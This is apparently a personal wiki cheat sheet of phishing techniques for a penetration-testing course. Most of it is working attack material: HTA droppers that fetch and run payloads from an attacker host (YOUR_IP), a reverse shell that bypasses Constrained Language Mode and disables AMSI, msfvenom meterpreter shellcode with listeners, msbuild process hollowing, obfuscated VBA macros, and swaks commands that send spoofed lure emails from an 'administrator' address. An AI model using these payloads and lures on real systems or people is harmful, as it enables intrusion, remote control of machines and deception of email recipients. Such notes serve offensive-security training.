Phishing

HTA payloads

Ping

```
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("ping -n YOUR_IP");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
```

TCPdump

To catch the ping

```
sudo tcpdump -i tun0 icmp
```

HTA - Bypass CLM

1. Compile the project
   https://github.com/blu3drag0nsec/osepvs/tree/main/tools/02.CLM/revshell/PSBypassCLM
2. Convert to psby.txt using certutil

```
certutil -encode
"Z:\\tools\\02.CLM\\revshell\\PSBypassCLM\\PSBypassCLM\\bin\\x64\\Release\\PsBypassCL
M.exe" psby.txt
```

3. Download the psby.txt on the kali host and serve the file with a dropper

```
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell iwr -uri http://YOUR_IP/psby.txt -outfile
C:\\\\windows\\\\tasks\\\\enc.txt; powershell certutil -decode
C:\\\\windows\\\\tasks\\\\enc.txt C:\\\\windows\\\\tasks\\\\psby.exe;
C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\installutil.exe
/logfile= /LogToConsole=true /revshell=true /rhost=YOUR_IP /rport=443 /amsi=0 /U
C:\\\\windows\\\\tasks\\\\psby.exe");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
```

HTA - With Meterpreter

1. Generate the shellcode

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f csharp
EXITFUNC=thread
```

2. Run it through XORme
3. Update hollow.xml with the code from above
4. Set up listener

```
msfconsole -q -x "use exploit/multi/handler; set payload
windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 443;set exitfunc
thread; exploit -j"
```

5. Deliver it

```
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell iwr -uri http://YOUR_IP/hollow.xml -outfile
C:\\\\windows\\\\tasks\\\\hollow.xml;
C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v4.0.30319\\\\msbuild.exe
C:\\\\windows\\\\tasks\\\\hollow.xml");
</script>
</head>
<body>
<script language="JScript">
self.close();
</script>
</body>
</html>
```

Macro VBA

1. Generate the shellcode

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f
csharp
```

2. Run it through caesar cypher - pay attention to `shift` and `key` parameters.
3. Set up listener

```
msfconsole -q -x "use exploit/multi/handler; set payload
windows/x64/meterpreter/reverse_tcp; set lhost tun0; set lport 443;set exitfunc
thread; exploit -j"
```

4. Update the vba with your shellcode from step 2.

Sending emails

swaks

HTA payloads

```
swaks --body 'Please check this issue here http://YOUR_IP/payload.hta' --add-header "MIME-Version: 1.0" --add-header "Content-Type: text/html" --header "Subject: Issues with my account" -t Will@domain.com -f administrator@domain.com --server EMAIL_server
```

Macro payloads

```
swaks --to jobs@domain.com --from administrator@domain.com --header "Subject: My CV" --body "Attached my cv to this email" --attach @cv.docm --server server.domain.tld
```

Revision #1
Created 2026-01-08 18:49:01 UTC by Vlad Birgauanu
Updated 2026-01-08 18:50:00 UTC by Vlad Birgauanu